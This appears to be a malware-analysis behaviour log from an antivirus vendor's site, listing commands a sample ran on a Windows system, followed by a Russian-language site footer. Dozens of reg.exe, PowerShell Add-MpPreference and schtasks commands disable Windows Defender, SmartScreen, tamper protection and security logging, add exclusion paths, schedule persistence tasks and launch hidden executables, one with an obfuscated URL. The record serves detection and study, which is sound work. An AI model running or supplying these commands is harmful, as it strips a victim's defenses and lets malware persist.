'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\weaved".xml" /tn "" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\2bn.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-3.bat
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-1.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-1.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\pilon".xml" /tn "" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-2.bat
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\0bn.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\linz".xml" /tn "" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-5.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-4.bat
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-2.bat
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-3.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%ProgramFiles(x86)%\maid\pilon.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-2.bat' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\pilon".xml" /tn "" /f' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\interlinking\""' (with hidden window)
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\pilonpilon"' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\countenancecountenance\""' (with hidden window)
'%ProgramFiles(x86)%\linzlinz\linz.exe' ' (with hidden window)
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS "--user-agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; amortize-1132467510; amortize-1132467510) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0...' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\maid\""' (with hidden window)
'%WINDIR%\syswow64\taskkill.exe' /f /im Nicholas.exe' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\Fredrick\""' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\weaved".xml" /tn "" /f' (with hidden window)
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\pilon45"' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\linzlinz\""' (with hidden window)
'%ProgramFiles(x86)%\care\weaved.exe' "OverthOverttOverttOvertpOvert:Overt/Overt/OvertwOvertwOvertwOvert.OvertaOvertlOvertaOvertmOvertoOvertsOvertaOvertvOverteOvertrOvertrOvertiOvert.OvertcOvertoOvertmOvert/Overtl2ea0ea2eaOvert5ea0...' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%TEMP%\nshD78A.tmp\""' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-1.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\0bn.bat' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\linz".xml" /tn "" /f' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\care\""' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\""' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-1.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-2.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-3.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-4.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\3bn-5.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\4bn.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\1bn-3.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\2bn.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\amortize".xml" /tn "" /f' (with hidden window)

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней